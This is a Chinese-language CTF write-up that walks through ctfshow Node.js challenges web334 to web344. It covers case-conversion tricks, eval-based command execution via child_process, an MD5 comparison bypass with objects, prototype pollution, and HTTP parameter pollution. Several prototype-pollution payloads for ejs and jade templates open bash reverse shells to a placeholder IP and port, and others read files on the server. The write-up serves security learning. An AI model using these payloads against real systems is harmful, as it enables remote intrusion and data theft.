目录
学习链接:
web334 JS大小写特性
这题纯纯考看代码。
user.js 发现 username: 'CTFSHOW', password: '123456'
login.js 里有这么一段代码:
var findUser = function(name, password){
return users.find(function(item){
return name!=='CTFSHOW' && item.username === name.toUpperCase() && item.password === password;
});
};
//---------------------------------------------------------------------------
//第一次接触nodejs,所以我对代码做了分析:
var findUser =
function(name, password)//我们输入的username,password当做参数传入这个函数
{
return users.find
(
function(item)//这里的item代表users,我理解为类的this关键字
{
return (name!=='CTFSHOW') //不能等于CTFSHOW全是大写
&& (item.username === name.toUpperCase())//我们输入的字符串转大写后要强等于CTFSHOW
&& (item.password === password);//密码相等
}
);
};
name和password是我们传入的值;item.username和item.password是user.js里的用户名密码。
我们传入的name不能等于CTFSHOW,name的大写形式要强等于item.username,也就是CTFSHOW。密码要是123456。
所以我们可以写几个小写:
CTFshow
123456
登录成功获得flag
看大佬的博客发现还有一个trick,p神文章:Fuzz中的javascript大小写特性 | 离别歌 (leavesongs.com)
Character.toUpperCase()函数,字符ı会转变为I,字符ſ会变为S
Character.toLowerCase()函数,字符İ会转变为i,字符K会转变为k
web335 JS 的 RCE
本题带我们了解掌握 Node.JS 的 RCE。
在js中,eval()
方法用于计算字符串,并把它作为脚本代码来执行。eval() - JavaScript
payload里利用到的child_process: child_process 子进程 | Node.js API 文档
PAYLOAD:
?eval=require("child_process").execSync('ls')
?eval=require('child_process').execSync('ls').toString()
?eval=require("child_process")['exe'%2B'cSync']('ls')
?eval=require('child_process').spawnSync( 'ls', [ './' ] ).stdout.toString()
?eval=global.process.mainModule.constructor._load('child_process').execSync('ls')
其他姿势:
//读文件夹,读文件函数
?eval=require('fs').readdirSync(".")
?eval=require('fs').readFileSync('./fl00g.txt','utf8');
//字符串拼接
?eval=var s='global.process.mainModule.constructor._lo';var b="ad('child_process').ex";var c="ec(%27ls>public/1.txt%27);";eval(s%2Bb%2Bc)%3B
web336 有过滤的RCE
继上一题RCE,过滤了exec|load
。姿势还是很多d。
?eval=require( 'child_process' ).spawnSync( 'ls', [ '.' ] ).stdout.toString()
?eval=require( 'child_process' ).spawnSync( 'cat', [ 'f*' ] ).stdout.toString()
知识点补充:
__filename
:返回当前模块文件被解析过后的绝对路径。
__dirname
:返回当前模块文件解析过后所在的文件夹(目录)的绝对路径。
web337 js变量
这题考察对于 js变量 的理解。
js变量分为:值类型(基本类型)、引用数据类型(对象类型)。
题目源码:
var express = require('express');
var router = express.Router();
var crypto = require('crypto');
function md5(s) {
return crypto.createHash('md5')
.update(s)
.digest('hex');
}
/* GET home page. */
router.get('/', function(req, res, next) {
res.type('html');
var flag='xxxxxxx';
var a = req.query.a;
var b = req.query.b;
if(a && b && a.length===b.length && a!==b && md5(a+flag)===md5(b+flag)){
res.end(flag);
}else{
res.render('index',{ msg: 'tql'});
}
});
module.exports = router;
关键代码:
if(a && b && a.length===b.length && a!==b && md5(a+flag)===md5(b+flag)){
res.end(flag);
payload:
a[x]=1&b[x]=2
原理:
a[x]=1&b[x]=2
相当于是说,a和b都是 引用数据类型(对象类型),那么在a+flag
和b+flag
时,他们的结果就会都是[object Object]flag{xxx}
,那么md5值自然就是一样的了。
若运行如下代码:
//a,b是对象
a={'x':'1'}
b={'x':'2'}
console.log(a+"flag{xxx}")
console.log(b+"flag{xxx}")
两个都会打印出[object Object]flag{xxx}
,所以他们的md5也是一样的了。
为什么传a[0]=1&b[0]=2
不行呢,因为当我们这样传的时候相当于创了个数组变量a=[1] b=[2]
//数组变量
a=[1]
b=[2]
console.log(a+"flag{xxx}")
console.log(b+"flag{xxx}")
打印出来的结果是1flag{xxx}
和2flag{xxx}
,md5就会是不一样的了。
web338 原型链污染
本题考察简单的 原型链污染。
学习链接:
源码:
//routes/login.js
var express = require('express');
var router = express.Router();
var utils = require('../utils/common');
/* GET home page. */
router.post('/', require('body-parser').json(),function(req, res, next) {
res.type('html');
var flag='flag_here';
var secert = {};
var sess = req.session;
let user = {};
utils.copy(user,req.body);
if(secert.ctfshow==='36dboy'){
res.end(flag);
}else{
return res.json({ret_code: 2, ret_msg: '登录失败'+JSON.stringify(user)});
}
});
module.exports = router;
//--------------------------------------------------------------------
//utils/common.js
module.exports = {
copy:copy
};
function copy(object1, object2){
for (let key in object2) {
if (key in object2 && key in object1)
{
copy(object1[key], object2[key])
}
else
{
object1[key] = object2[key]
}
}
}
要让secert.ctfshow==='36dboy'
,就会输出flag。
调用了copy函数:utils.copy(user,req.body);
,可以与链接文章里面的merge函数类比。
登录的时候抓包,修改post的内容:
{"__proto__":{"ctfshow":"36dboy"}}
原理:
我们看copy函数,object1
是user
,它的定义是let user = {};
,就是一个空对象。
object2
是我们POST的内容,也就是{"__proto__":{"ctfshow":"36dboy"}}
。(require('body-parser').json()
会解析json)
第一次循环,key
是__proto__
,因为每一个对象都有__proto__
属性,所以判断为TRUE,然后递归调用copy函数。
这次传参,object1
是object1['__proto__']
,就是Object{……}
,回溯到了Object类了,
object2
是object2['__proto__']
,就是{ ctfshow: "36dboy" }
。
此时key
为ctfshow
。因为Object没有ctfshow这个变量,所以经过判断为FALSE,进入else,执行object1['ctfshow'] = object2['ctfshow']
。将Object类的ctfshow的值改为了36dboy
,那么所有继承object类的类都会有属性ctfshow=36dboy,也就是所有类,因为所有类都是object的子类。
var secert = {};
secert被污染,也拥有属性ctfshow=36dboy。
if(secert.ctfshow==='36dboy'){
res.end(flag);
判断为真,所以输出flag
web339 原型链污染
和上一题的区别是:
if(secert.ctfshow===flag){
res.end(flag);
flag我们是不知道的,这里不能利用。但还是可以通过copy函数进行原型链污染。
比上一题多了一个api.js文件:
var express = require('express');
var router = express.Router();
var utils = require('../utils/common');
/* GET home page. */
router.post('/', require('body-parser').json(),function(req, res, next) {
res.type('html');
res.render('api', { query: Function(query)(query)});
});
module.exports = router;
关键看:
res.render('api', { query: Function(query)(query)});
Function - JavaScript | MDN (mozilla.org)
JS 的函数实际上都是一个 Function
对象,它的参数为
new Function ([arg1[, arg2[, ...argN]],] functionBody)
Function
对象传入构造函数里的 第一个是函数的形参,可以省略,第二个参数是函数体。
写个小demo:
function copy(object1, object2){
for (let key in object2) {
if (key in object2 && key in object1) {
copy(object1[key], object2[key])
} else {
object1[key] = object2[key]
}
}
}
var user ={}
body=JSON.parse('{"__proto__":{"query":"return 123"}}');
copy(user,body);
console.log(Function(query)(query));
控制台输出123。因为Function
函数体就是return 123
。
所以思路就是我们先通过copy函数污染query的值,然后访问/api触发。
PAYLOAD:
{"__proto__":{"query":"return global.process.mainModule.constructor._load('child_process').exec('bash -c \"bash -i >& /dev/tcp/IP/端口 0>&1\"')"}}
这里return返回的是一个shell。
global.process.mainModule.constructor._load('child_process').exec()
是运用的前面的RCE的知识。
其实是相当于require('child_process').exec()
,但是require不是全局的。Global objects | Node.js v19.4.0 Documentation (nodejs.org)
require:This variable may appear to be global but is not. See
require()
bash -c \"bash -i >& /dev/tcp/IP/端口 0>&1\"
反弹shell。之所以要套2层bash,就是本地测试,发现一层bash的话会报错。
非预期解:
这题用了ejs模板引擎,这个模板引擎有个漏洞可以rce:
{"__proto__":{"outputFunctionName":"_tmp1;global.process.mainModule.require('child_process').exec('bash -c \"bash -i >& /dev/tcp/xxx/xxx 0>&1\"');var __tmp2"}}
web340 原型链污染
和上一题差不多,只不过这里不一样:
var user = new function(){
this.userinfo = new function(){
this.isVIP = false;
this.isAdmin = false;
this.isAuthor = false;
};
}
utils.copy(user.userinfo,req.body);
if(user.userinfo.isAdmin){
res.end(flag);
}else{
return res.json({ret_code: 2, ret_msg: '登录失败'});
}
可以看到,user.__proto__
并不是Object.prototype
,user.__proto__.__proto__
才是。
因此污染两层即可:
{"__proto__":{"__proto__":{"query":"return global.process.mainModule.constructor._load('child_process').exec('bash -c \"bash -i >& /dev/tcp/IP/端口 0>&1\"')"}}
web341 ejs rce
预期解ejs rce
先进行一下原型链污染,再刷新一次即可
payload:
{"__proto__":{"__proto__":{"outputFunctionName":"_tmp1;global.process.mainModule.require('child_process').exec('bash -c \"bash -i >& /dev/tcp/xxx/xxx 0>&1\"');var __tmp2"}}}
web342、343 jade原型链污染
jade原型链污染
payload:
{"__proto__":{"__proto__": {"type":"Block","nodes":"","compileDebug":1,"self":1,"line":"global.process.mainModule.require('child_process').exec('bash -c \"bash -i >& /dev/tcp/xxx/810>&1\"')"}}}
在login页面打上去之后随便访问下,就会反弹。
几个node模板引擎的原型链污染分析 | L0nm4r (lonmar.cn)
web344 HTTP参数污染
HTTP参数污染。
部分源码:
router.get('/', function(req, res, next) {
res.type('html');
var flag = 'flag_here';
if(req.url.match(/8c|2c|\,/ig)){
res.end('where is flag :)');
}
var query = JSON.parse(req.query.query);
if(query.name==='admin'&&query.password==='ctfshow'&&query.isVIP===true){
res.end(flag);
}else{
res.end('where is flag. :)');
}
});
url 中不能包含大小写 8c
、2c
和 逗号
先构造一个正常请求
/?query={"name":"admin","password":"ctfshow","isVIP":true}
发现题目会过滤掉逗号,尝试 URL 编码, urlencode(",") = %2c
发现 2c
也被过滤
HTTP协议中 允许 同名参数 出现多次,例如?a=1&a=2
,有的服务端取的1
,有的取的2
。不同服务端对同名参数处理都是不一样的,下面链接列举了一些:
https://www.cnblogs.com/AtesetEnginner/p/12375499.html
nodejs 会把同名参数以数组的形式存储,并且 JSON.parse
可以正常解析。
因此构造
?query={"name":"admin"&query="password":"%63tfshow"&query="isVIP":true}
这里把 ctfshow 的 c 进行url编码,是因为 双引号 的url编码是
%22
,和c
连接起来就是%22c
,会匹配到正则表达式。